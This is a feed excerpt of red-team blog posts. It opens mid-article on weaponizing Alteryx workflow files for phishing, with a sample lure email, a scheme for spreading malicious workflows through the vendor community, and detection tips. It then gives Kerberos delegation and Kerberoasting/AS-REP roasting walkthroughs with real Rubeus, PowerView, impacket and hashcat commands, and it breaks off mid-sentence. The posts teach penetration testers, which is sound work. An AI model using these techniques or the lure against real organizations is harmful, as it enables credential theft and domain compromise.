It is a saved version of the workflow. The file extension of a workflow file is <strong>.yxmd</strong>, it can be imported or exported (save as).</p><h3>Weaponization</h3><p>Next, let’s create a payload with Alteryx. We will introduce two importable file types and their pros and cons. Regardless of which file type is chosen, in order to make the phishing scenario as credible as possible to increase the success rate of client-side code execution, some familiarity with the software may be required. You definitely do not want to send an empty importable file to the victim, even if they do not know that Alteryx can be used for phishing, they will not run a workflow without any meaningful content.</p><p>For demonstration purposes, we will not meticulously create a very professional workflow. We can open some built-in template workflows in the software, as shown in the figure below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*vh07_CD01lLVi8sKwFlDLg.png" /></figure><p>Alternatively, we can download one from the community, such as <a href="https://community.alteryx.com/t5/Weekly-Challenge/bd-p/weeklychallenge">https://community.alteryx.com/t5/Weekly-Challenge/bd-p/weeklychallenge</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aiM1azZSjCZQEhN0U7gwTQ.png" /></figure><p>After loading a workflow, select the <strong>Events</strong> tab in the <strong>Configuration</strong> panel under the <strong>Workflow</strong> menu, and add a new event. There are multiple ways to trigger an event, such as <strong>Before Run</strong>, <strong>After Run</strong>, <strong>After Run With Errors</strong>, <strong>After Run Without Errors</strong>. Specify the command to be executed and its parameters, and save the workflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*B6I9rtxnH46z4A_3MEe_Ng.png" /></figure><p>We can save the single workflow file (.yxmd), or export all associated assets to a package file (.yxzp).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NEhiS5lbI1fmSfRtC75q5Q.png" /></figure><p>If choose to export all associated assets, make sure you select the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*CiKOJeuXZMgQ6xyBYBq7Cg.png" /></figure><p>From the victim’s perspective, if they have installed Alteryx software, both .yxmd and .yxzp files can be double-clicked or imported within the software. So, what are the subtle differences and pros and cons between the two file types?</p><h4><strong>yxmd File</strong></h4><p>A .yxmd file is essentially an XML file, the program and command line are embedded in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*jZUU4B-xw3MfiOKd0_qLeQ.png" /></figure><p>When we double-click or import a yxmd file within the software, <strong>there are no warnings or alerts.</strong> <strong>The victim will not be notified that the workflow file specifies commands or programs to be executed!</strong></p><p>Therefore, the victim can import and run a carefully crafted malicious workflow file without any prompts or warnings. However, more complex workflow files often come with some external assets, such as input data or macros. When importing a yxmd file, if external assets are missing, an error message will be displayed after running the workflow. However, if we set the code execution to happen before running the workflow, by the time the user notices the error messages, we have already obtained client-side code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xk5WnU4k2tjD_Qy_xEFPwg.png" /></figure><p><strong>Pros:</strong></p><p>1: No alert or warning</p><p>2: The user will not notice any embedded program or command</p><p>3: Simple to craft a malicious one</p><p>4: Looks very legitimate</p><p><strong>Cons:</strong></p><p>1: The context of the workflow should not be very complex.</p><h4>yxzp File</h4><p>A .yxzp file is a package file, we can use 7-Zip to check its contained folders and files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YAz6szSwiGm0hcaL_72ZYQ.png" /></figure><p>And we can find the embedded program within a package file by manually browsing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lhp-Rj9nehekLmlxLd-I_g.png" /></figure><p>By double-clicking on this .yxzp file or importing it within the software, 他the victim can see all contained files, including the program we embedded in it. We’d better name the program as legitimate as possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*FtweSGOeoYEPLnkTSdr9gQ.png" /></figure><p>The following process is similar. Since the .yxzp file contains all the necessary assets, there will be no error messages due to missing assets.</p><p><strong>Pros:</strong></p><p>1: No alert or warning</p><p>2: The package contain all assets, we can craft a more complex workflow</p><p>3: Looks very legitimate</p><p><strong>Cons:</strong></p><p>1: The user can notice the embedded program</p><h3>Delivery</h3><h4><strong>For Red Team Operators</strong></h4><p>For red team operators who are conducting a red team operation, if the target is an enterprise in accounting, finance, data analysis, and some other industries, or if they know that the software is indeed widely used in the target enterprise, this phishing attack can be very effective. For example, the Big Four accounting firms widely use Alteryx software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cETi7taWFhbH8BcPHI5OXA.png" /></figure><p>A possible phishing pretext:</p><p><em>Dear B company,</em></p><p><em>Hello! I am a representative from A company and I would like to discuss the possibility of collaborating with your company on the xxx business.</em></p><p><em>In this email, I would like to present a demonstration that we have prepared specifically for this business, which will be attached in an Alteryx workflow file. This workflow file will allow you to have a better understanding of our business process and provide you with a comprehensive overview.</em></p><p><em>If you are interested, we can arrange a time to discuss more details. If you wish to take a look at and run the workflow file, please ensure that you have installed the Alteryx software. If you have any questions or requirements, please feel free to contact me at any time.</em></p><p><em>Thank you for your time!</em></p><p><em>Best regards,</em></p><p><em>Representative of A company</em></p><h4><strong>How may TAs abuse it?</strong></h4><p>Considering that threat actors (TAs) may not have very specific targets, they may just want to find as many victims as possible and get control of their hosts. So, what will they do once they know about this phishing vector? For example, Alteryx software has official community support, and many software users discuss the solutions to Weekly Challenges in the community. TAs can pretend to be software users who have completed the weekly challenges, post their own answers for other community members to download and run. As this community is a place where software users gather to discuss, a workflow containing malicious programs will quickly spread.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MTRfrFJB51R27cjvpor_pQ.png" /></figure><h3>Detection</h3><h4>File</h4><p><strong>.yxmd file</strong></p><p>Inspect &lt;Event&gt; section</p><p><strong>.yxzp file</strong></p><p>Inspect all embedded files</p><h4><strong>Runtime</strong></h4><p>If the program embedded in the workflow is run, process <strong>AlteryxGui.exe</strong> will fork a child process <strong>AlteryxEngineCmd.exe</strong>, and the embedded program will be a child process of <strong>AlteryxEngineCmd.exe</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*ZRls0QLr9gxcNzSpJcRpcg.png" /></figure><h3>References</h3><p><a href="https://techcrunch.com/2022/07/22/microsoft-office-macros-blocked-default/">https://techcrunch.com/2022/07/22/microsoft-office-macros-blocked-default/</a></p><p><a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked</a></p><p><a href="https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide">https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide</a></p><p><a href="https://big4accountingfirms.com/the-blog/3-technologies-must-learn-big-4-accounting/">https://big4accountingfirms.com/the-blog/3-technologies-must-learn-big-4-accounting/</a></p><p><a href="https://www.alteryx.com/customer-center/kpmg-case-study">https://www.alteryx.com/customer-center/kpmg-case-study</a></p><p><a href="https://community.alteryx.com/t5/Weekly-Challenge/bd-p/weeklychallenge">https://community.alteryx.com/t5/Weekly-Challenge/bd-p/weeklychallenge</a></p><p><a href="https://help.alteryx.com/20223/designer/run-command-tool">https://help.alteryx.com/20223/designer/run-command-tool</a></p><p><a href="https://help.alteryx.com/20223/designer/build-workflows#:~:text=A%20workflow%20consists%20of%20connected,workflow%20select%20File%20%3E%20New%20Workflow">https://help.alteryx.com/20223/designer/build-workflows#:~:text=A%20workflow%20consists%20of%20connected,workflow%20select%20File%20%3E%20New%20Workflow</a></p><p><a href="https://chat.openai.com/chat">https://chat.openai.com</a></p><p><a href="https://help.alteryx.com/20223/designer/alteryx-file-types">https://help.alteryx.com/20223/designer/alteryx-file-types</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=164d2f739906" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos Delegation]]></title>
            <link>https://gustavshen.medium.com/delegation-1ff294e3defd?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ff294e3defd</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Mon, 29 Aug 2022 16:07:28 GMT</pubDate>
            <atom:updated>2022-08-29T19:32:27.042Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey friends, it is the 3rd article in my Active Directory Theory and Exploitation series. Today, I would like to talk about 3 types of delegation. Kerberos delegation resolved Double Hop problem, however, an attacker can also abuse delegation to gain remote code execution and move to other machines. Concepts of delegation could be complex, but I will try my best to make it simple and easy to understand!</p><h3><strong>Unconstrained Delegation</strong></h3><p>Kerberos delegation enables a user or service to act on behalf of another user to another service. A typical scenario is that, a user authenticates to IIS server, and then IIS server acts on behalf of the user to authenticate to MSSQL server.</p><p>Unconstrained delegation can be assigned to a computer or user, but mostly computer. The configuration can be done on the domain controller. From the perspective of a system administrator, we can select “Trust this computer for delegation to any service (Kerberos only)” option on Delegation tab to configure unconstrained delegation for a domain computer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*yZADv5I5OyPMJO1kD-qRDw.png" /></figure><p>We mentioned delegation resolved double-hop problem, so how did unconstrained delegation resolved it? If a computer is configured unconstrained delegation, as the user accesses IIS server, the KDC also includes the user’s TGT to TGS ticket. Then, IIS server extracts user’s TGT and caches it in memory. After that, IIS server uses the user’s TGT to act on behalf of the user to access MSSQL server. But the issue is that since the user’s TGT is cached in IIS server’s memory, IIS server can use the user’s TGT to act on behalf of the user to any other service, which means the user is impersonated by IIS server. If IIS server is compromised, the attacker can extract all TGT from memory and impersonate these users. What’s worse, if a high-privileged user’s TGT is cached, such as a domain administrator’s, the attacker is able to take over the whole domain and forest.</p><p>Let’s explain the steps in details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*CcFFIsBXSjJi56cQ4Uglqg.png" /><figcaption>Ref: <a href="https://www.pentesteracademy.com/video?id=1596">https://www.pentesteracademy.com/video?id=1596</a></figcaption></figure><p><strong>Step 1: User to DC</strong></p><p>The user requests TGT.</p><p><strong>Step 2: DC to user</strong></p><p>The user gets TGT.</p><p><strong>Step 3: User to DC</strong></p><p>The user requests TGS ticket.</p><p><strong>Step 4: DC to user</strong></p><p>The user gets TGS ticket.</p><p><strong>Step 5: User to IIS server</strong></p><p>User sends TGT and TGS ticket.</p><p><strong>Step 6: IIS serverto DC</strong></p><p>IIS server uses user’s TGT to request TGS ticket to DC to access MSSQL server.</p><p><strong>Step 7: IIS serverto MSSQL server</strong></p><p>IIS server acts on behalf of the user to access MSSQL server.</p><p><strong>Enumeration</strong></p><p>Powerview: <strong>Get-NetComputer -Unconstrained | select dnshostname</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*yml1L1fVOwgXdkT-ZfoIbQ.png" /></figure><p>Domain controller is always configured unconstrained delegation, but it does not help.</p><p><strong>Exploitation</strong></p><p>1: Compromise the machine which is configured unconstrained delegation.</p><p>2: Use rubeus to monitor cached TGTs in real time (Require local administrator privilege).</p><p><strong>rubeus.exe monitor /interval:5 /nowrap</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*aEPgycjAzRehPTrdL9tTmw.png" /></figure><p>3: Wait for high-privilege users to access this machine’s services, such as smb share. Or we can use spoolsample to coerce a machine to this machine via the MS-RPRN RPC interface.</p><p><strong>spoolsample.exe dc srv02</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*5bwC2o5MW9aLMFjC.png" /></figure><p>We can execute the command on any windows domain machine.</p><p>4: Save captured TGT as a kirbi file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*926G4BUmFnvBkDYa.png" /></figure><p>5: Import the ticket to current session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*junD1d6hsQzAizAE9mnEVg.png" /></figure><p>6: Access internal resource, such as \\dc\c$. In this case, we got dc machine account’s TGT, machine account does not has local admin privilege, though there is a workaround to give us SYSTEM privilege (mentioned later). Since it is the domain controller, we can use DCSync permission to get domain administrator’s hash to pwn the domain!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*W0yKLg6l0QJjRaeV5Bn-oA.png" /></figure><h3><strong>Constrained Delegation</strong></h3><p>Compared to unconstrained delegation, constrained delegation is more secure, because the server no longer cache user’s TGT. Intead, the server is allowed to request a TGS ticket for the user with its own TGT, and the server can only act on behalf of the user to access specified server(s) and service(s). For example, the IIS server can only act on behalf of the user to access <strong>cifs</strong> and <strong>eventsystem</strong> service on machine <strong>client01</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*6UWRsmzuaeYUboTMyPawhQ.png" /></figure><p>From the perspective of a system administrator, constrained delegation can be configured like this, “Trust this computer for delegation to specified services only” option is selected. It has 2 sub options, and we noticy that “<strong>Use any authentication protocol</strong>” is selected, what will happen if we select “<strong>Use Kerberos only</strong>”? I will explain it later. Apart from machine, service account can be configured constrained delegation as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*JuMyWhgTJ5X2-dH0XwZTdg.png" /></figure><p>In this case, apart from cifs service on machine client01, service eventsystem on machine client01 is specified as well. But it does not look exciting, but no worries! Though the service is specified, but we can use alternate service name trick to bypass it, since service name will not be verified by S4U and it is not encrypted in a ticket.</p><p>So, let’s go through the whole process of constrained delegation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*SRbuuZc69eJk94eQFmpVPA.png" /><figcaption>Ref: <a href="https://www.pentesteracademy.com/video?id=1596">https://www.pentesteracademy.com/video?id=159</a>7</figcaption></figure><p><strong>Step 1: User to IIS Server</strong></p><p>The user authenticates to IIS server via <strong>NTLM authentication</strong>, as long as the authentication is not Kerberos.</p><p><strong>Step 2: IIS Server to DC</strong></p><p>IIS server ultilizes <strong>S4U2Self </strong>to request TGS ticket for the user to access itself (IIS Server)</p><p><strong>Step 3: DC to IIS Server</strong></p><p>KDC returns forwardable TGS ticket to IIS server</p><p><strong>Step 4: IIS Server to DC</strong></p><p>IIS Server ultilizes <strong>S4U2Proxy </strong>to request TGS ticket for the user to access SQL server</p><p><strong>Step 5: DC to IIS Server</strong></p><p>KDC returns TGS ticket to IIS server</p><p><strong>Step 6: IIS Server to SQL Server</strong></p><p>IIS server acts on behalf of the user to access SQL service with the forwardable TGS ticket.</p><p><strong>Enumeration</strong></p><p>Powerview: <strong>Get-NetComputer -TrustedToAuth</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A6mDyUS6QUX32GG_LkRkQA.png" /></figure><p>(Service Account) <strong>Get-NetUser -TrustedToAuth</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6AXjgopPogI2U6HNi5Z-rg.png" /></figure><p><strong>Exploitation</strong></p><p>1: Compromise the machine or user which is configured constrained delegation.</p><p>2: Request TGT for target machine or service account.</p><p>Scenario 1: We already had local admin privilege, or we know credentials of them.</p><p><strong>rubeus.exe asktgt /user:srv-1$ /aes256:[…] /nowrap</strong></p><p>Scenario 2: We do not have local admin privilege and we do not know credentials of them.</p><p><strong>rubeus.exe tgtdeleg /nowrap</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*1ShR4S32QHpOMi2WQ-mu-w.png" /></figure><p>3: Save the TGT as a file</p><p>On Kali: <strong>echo ‘&lt;..ticket..&gt;’ | base64 -d &gt; xxx.kirbi</strong></p><p>On Windows: <strong>[System.IO.File]::WriteAllBytes(“C:\windows\temp\xxx.kirbi”,[System.Convert]::FromBase64String(“&lt;..ticket..&gt;”))</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*G4EFNU2kQL09b5SQPFC72A.png" /></figure><p>4: Impersonate a privileged user and request a TGS ticket to access CIFS service on target machine. For example, the privileged user can be local administrator of target machine, sometimes we can even impersonate the domain admin. But be aware that domain user can be configured as <strong>cannot be delegated</strong>. I mentioned that the service name will not be verified, so even target service is <strong>eventsystem</strong>, we can modify it as <strong>cifs</strong> service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*w4xUz6ycSt-LUEf9UZuG3w.png" /></figure><p>The command should be <strong>rubeus.exe /impersonateuser:&lt;high privileged user&gt;/msdsspn:&lt;service&gt;/&lt;fqdn&gt;/user:&lt;user&gt; /ticket:srv01.kirbi /altservice:cifs /nowrap /ptt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*g4iD7LZrogsLY9Zosp6dJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*DiSgnKP9tdcsdbv2aK0UMw.png" /></figure><p>5: The ticket is imported to memory, so we can access <strong>C$</strong> on client01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*RNB5aYbQZNBKe-867m-Q-g.png" /></figure><h3><strong>Resource-Based Constrained Delegation</strong></h3><p>Considering configuring constrained delegation requires <strong>SeEnableDelegationPrivielge</strong> privilege on the domain controller, which means typically only domain admin can configure it. However, configuring Resource-Based Constrained Delegation (RBCD) does not require it, the system administrator can configure RBCD for the machine. Which means, the resource itself can decide to trust who.</p><p>To configure constrained delegation, the IIS server is configured <strong>msDs-AllowedToDelegateTo</strong> property. RBCD works by adding <strong>msDS-AllowedToActOnBehalfOfOtherIdentity</strong> property on MSSQL server. The property should be IIS server’s SID.</p><p>There is the requirement for configuring RBCD. The front end service(In this case, it is IIS server) should have SPN, because the front end service need to request TGS ticket for the user to access itself in <strong>S4U2Self </strong>process. If the front end service is not a machine account or service account, it does not make sense</p><p><strong>Enumeration</strong></p><p>If owned user or machines have <strong>GenetricWrite</strong> (Or higher permission) permission over another machine.</p><p><strong>Exploitation</strong></p><p>1: Create a new machine account. If you already had SYSTEM privilege over owned machines, that’s fine as well.</p><p>Import PowerMad.ps1 script tool.</p><p><strong>New-MachineAccount -MachineAccount rbcd -Password $(ConvertTo-SecureString ‘123123’) -AsPlainText -Force)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*4pofuXTZ_N19y4WMOQ6aiw.png" /></figure><p>2: Add <strong>AllowedToActOnBehalfOfOtherIdentity</strong> property to machine SRV01 (Back end service), the value should be client01’s (Front end service) SID.</p><p>Import Active Directory module</p><p><strong>Set-ADComputer [back end server] -PrincipalsAllowedToDelegateToAccount -Server [DC IP] -Verbose</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*AvDVig44R457UKxTb_zZkQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*w7HfsKq2TYNZ-vT--KFMbQ.png" /></figure><p>3: Similar to the step in constrained delegation section. Ultilize S4U to impersonate a high privileged user to get TGS ticket to access back end server’s resource. But first, we need to know hashed password of added computer account.</p><p><strong>rubeus.exe hash /domain:&lt;domain&gt; /user:rbcd$ /password:&lt;password&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*rYzMCjRBI8Gc92uIHaXVLA.png" /></figure><p>Then abuse S4U, and access resources on back end server.</p><p><strong>rubeus.exe s4u /user:rbcd$ /aes256:&lt;…&gt; /impersonateuser:&lt;high privileged user&gt; /msdsspn:&lt;service&gt;/&lt;fqdn&gt; /altservice:http,host,cifs /ptt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*EzDdbLRA0dCjHQBnjJDaXQ.png" /></figure><h3>S4U</h3><p>We talked something about <strong>S4U2Self </strong>and <strong>S4U2Proxy</strong> in constrained delegation and RBCD sections. You may feel confused about them, no worries, I will explain them to you.</p><p><strong>S4U2Self</strong></p><p>It acts on behalf of the user to request a TGS ticket to access front end server.</p><p><strong>Abuse of S4U2Self</strong></p><p>Machine account does not have <strong>local admin privilege</strong> over itself. For example, we could capture a machine account’s TGT, but we cannot directly move to the machine with local admin privilege. Actually there is a workaround, you can check this article: <a href="https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/">https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/</a>. ZeroPoint Security’s course RTO also stated a method, we can use tool <strong>Asn1Editor</strong> to modify the TGS returned after S4U2Self, replace all occurence of machine account to cifs and the fqdn. For example, replace <strong>srv01$</strong> to <strong>cifs</strong> and <strong>srv01.blackops.local</strong>. But the theory behind these two methods are the same, the service name will not be verified and it is unencrypted.</p><p><strong>S4U2Proxy</strong></p><p>It acts on behalf of the user to request a TGS ticket to access back end service.</p><p>So why “Use Kerberos only” is not selected? If it is selected, Kerberos is used for authentication to the front end service (IIS Server), S4U2Proxy can use a forwardable TGS ticket supplied by the user. By this way, we require user interaction to steal user’s TGS ticket.</p><h3>Comparison</h3><p><strong>Unconstrained Delegation</strong>: The frond end server is configured unconstrained delegation, it acts on behalf of the authenticated user to request access to any resource in the domain.</p><p><strong>Constrained Delegation</strong>: The msDS-AllowedToDelegateTo property of front end server is configured back end server’s SPN. Front end server uses its identity (TGT) to act on behalf of the authenticated user to request access to specified service(s) on specified back end server(s). The mode is A trusts B.</p><p><strong>Resource-Based Constrained Delegation</strong>: The msDS-AllowedToActOnBehalfOfOtherIdentity property of back end server is configured frond end server’s SID. Which means, the back end server allows front end server to act on behalf of other users to access resources of itself. The mode is B trusts A.</p><p>Thanks for reading, I hope it help! If any update or correction is required, I will directly edit it. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ff294e3defd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos]]></title>
            <link>https://gustavshen.medium.com/kerberos-783eef0fc53a?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/783eef0fc53a</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Mon, 01 Aug 2022 00:47:55 GMT</pubDate>
            <atom:updated>2022-08-01T00:47:55.294Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey friends, it is the second article in my Active Directory Theory and Exploitation series. Today, I would like to talk about Kerberos. Kerberos might be complex and daunting in many peoples’ opinion, but never mind, hopefully I can make it simple and easy to understand!</p><h3><strong>Kerberos Authentication</strong></h3><p>Kerberos is an very interesting topic in Active Directory, since many abuse and exploitation are based on Kerberos. From Windows Server 2003, Kerberos acts as the main role in authentication. While NTLM authentication adopts challenge and response mechanism, Kerberos is based on ticket system.</p><p>Let’s get familiar with some roles and keep them in mind!</p><p><strong>Client:</strong> The end user who logs on their workstation.</p><p><strong>KDC</strong>: The Domain Controller in the domain, it consists of Authentication Server (AS), and Ticket Granting Server (TGS). To make it simple, we regard both of them as KDC.</p><p><strong>Service/Resource</strong>: The service or resource the end user wanna access after authentication, such as MSSQL instance, CIFS, IIS Web Server, etc.</p><p><strong>Step 1: AS-REQ</strong></p><p>Direction: Client -&gt; KDC</p><p>Action: Request TGT (Ticket Granting Ticket)</p><p>Provided: <strong>Timestamp</strong> encrypted with user’s hash, while the hash is generated by user’s account and password.</p><p>Details: When the end user logs on, AS-REQ request will be sent to KDC (AS).</p><p><strong>Step 2: AS-REP</strong></p><p>Direction: KDC-&gt; Client</p><p>Action: Return TGT</p><p>Provided: <strong>Session key </strong>which is encrypted by user’s password hash. And <strong>TGT</strong> which contains multiple information such as user information, domain, timestamp, session key, client ip address.</p><p>Details: KDC (AS) decrypts the timestamp, the authentication is successful. AS-REP is returned to the client.</p><p>Comment: TGT is valid for <strong>10 hours </strong>by default, it is encrypted with <strong>krbtgt</strong>’s hash.</p><p><strong>Step 3: TGS-REQ</strong></p><p>Direction: Client -&gt; KDC</p><p>Action: Request TGS ticket (Ticket Granting Service Ticket)</p><p>Provided: Client<strong> username</strong>, <strong>SPN </strong>of the service, <strong>TGT</strong>, and the <strong>timestamp </strong>which is encrypted with the session key.</p><p>Details: When the client access domain services such as MSSQL instance, CIFS, IIS Web server, etc., TGS-REQ will be sent to KDC (TGS).</p><p><strong>Step 4: TGS-REP</strong></p><p>Direction: Client -&gt; KDC</p><p>Action: Return TGS ticket</p><p>Provided: Encrypted target <strong>SPN</strong>, and the <strong>session key </strong>between client and service with previous session key in step 2. Encrypted <strong>TGS ticket</strong> which contains user info with service’s password hash</p><p>Details: KDC verifies that the target SPN, client’s TGT, user info, etc. are valid. Then KDC (TGS) returns TGS-REP.</p><p><strong>Step 5: AP-REQ</strong></p><p>Direction: Client -&gt; Service</p><p>Action: Request Service Access</p><p>Provided: Client <strong>username</strong>, <strong>timestamp</strong> encrypted with the session key between the client and service, <strong>TGS ticket</strong> encrypted with service’s password hash.</p><p>Details: The client sends AP-REQ to Service server.</p><p><strong>Step 6: AQ-REP</strong></p><p>Direction: Service-&gt; Client</p><p>Action: Grant Service Access to Client</p><p>Provided: None</p><p>Details: Service server decrypts TGS ticket, and retrieve session key to decrypt client username. If it is valid, the service server check if the client has enough permission. For example, user Alice is a member of group “Server Admin”, while group “Server Admin” has local admin privilege to server SRV1. If so, the access is granted.</p><p>Here is the figure to explain detailed each step (ref: <a href="https://en.wikipedia.org/wiki/Kerberos_(protocol)#User_Client-based_Login_without_Kerberos">https://en.wikipedia.org/wiki/Kerberos_(protocol)#User_Client-based_Login_without_Kerberos</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*SPOPorac7Zi4SpYRFjxJLg.png" /></figure><h3>Simplify The Process</h3><p>Kerberos authentication is actually complex and you still feel confused? Never mind, in most situation we do not need to remember every details in each step. We can simplify the process for us to understand, we assume every step goes well, such as no wrong credential, no network attack, etc.</p><p><strong>Client Authentication</strong></p><p>Step 1: Client requests TGT to KDC (AS)</p><p>Step 2: KDC (AS) returns TGT to the client.</p><p><strong>Client Authorization</strong></p><p>Step 3: Client requests TGS ticket to KDC (TGS)</p><p>Step 4: KDC (TGS) returns TGS ticket to the client</p><p><strong>Access Request</strong></p><p>Step 5: Client requests access to the service server</p><p>Step 6: As long as the client has permission, the access is granted</p><h3>Classic Kerberos Exploitation</h3><p><strong>Kerberoasting Attack</strong></p><p>If a service runs on a domain computer under the context of a domain user account, it is a <strong>service account</strong>, and it should have <strong>SPN</strong> set. SPN is a unique identifier of a service instance. <strong>krbtgt </strong>always has SPN set, but it is not exploitable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*5gnmJgeY7mzsDDkKWBEobA.png" /></figure><p>According to previous mentioned Kerberos authentication flow, we can find that service account’s password hash is used to encrypt TGS ticket. So Kerberoasting is a technique to retrieve <strong>krb5tgs hash </strong>by requesting TGS ticket for target service account. After that, we can crack krb5tgs hash offline, and hopefully we can get plaintext password.</p><p><em>Provided: Encrypted target </em><strong><em>SPN</em></strong><em>, and the </em><strong><em>session key </em></strong><em>between client and service with previous session key in step 2. Encrypted </em><strong><em>TGS ticket</em></strong><em> which contains user info with service’s password hash</em></p><p><strong>Attack</strong></p><p>On Windows</p><p>Search: <strong>Get-NetUser -SPN </strong>(PowerView.ps1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*fRXF-deb3ZRHAgAlGCB_cA.png" /></figure><p>Exploit: <strong>rubeus.exe kerberoast /format:hashcat /user:[service account] /nowrap</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHI7MAZ9Kp9Mgx4K_yZGkw.png" /></figure><p>On Linux</p><p>Exploit: <strong>python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password] </strong>(impacket)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ujstQcOOIqyEiFZK_35wIA.png" /></figure><p>Crack Hash: <strong>hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*XMzYafYldKQGnbSu8YaMdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ionNuX-aM6D8gJpOaA1WRQ.png" /></figure><p><strong>ASREPRoasting Attack</strong></p><p>If a domain user does not require Kerberos Pre-Authentication, we are able to request AS-REP for the user and retrieve <strong>krb5asrep hash</strong> from part of the reply. Hopefully we can crack the hash and get plaintext password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*HdCVMPLgiN_Hs6lgb-ihFA.png" /></figure><p><strong>Attack</strong></p><p>On Windows</p><p>Search: <strong>Get-NetUser -PreAuthNotRequired </strong>(PowerView.ps1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*1Hl9VBF7n7zb4BkCMeP1jA.png" /></figure><p>Exploit: <strong>rubeus.exe asreproast /format:hashcat /user:[target user] /nowrap</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wktcLB-Oc4j5d858B6lZhA.png" /></figure><p>On Linux</p><p>Exploit: <strong>python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn] -userfile [user list] -format hashcat </strong>(impacket)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*iapihSzDjjP2NVR8ieT17A.png" /></figure><p>Crack Hash: <strong>hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*q4W0PNBb7D70pzLG3O1rkQ.png" /></figure><p><strong>Kerberos 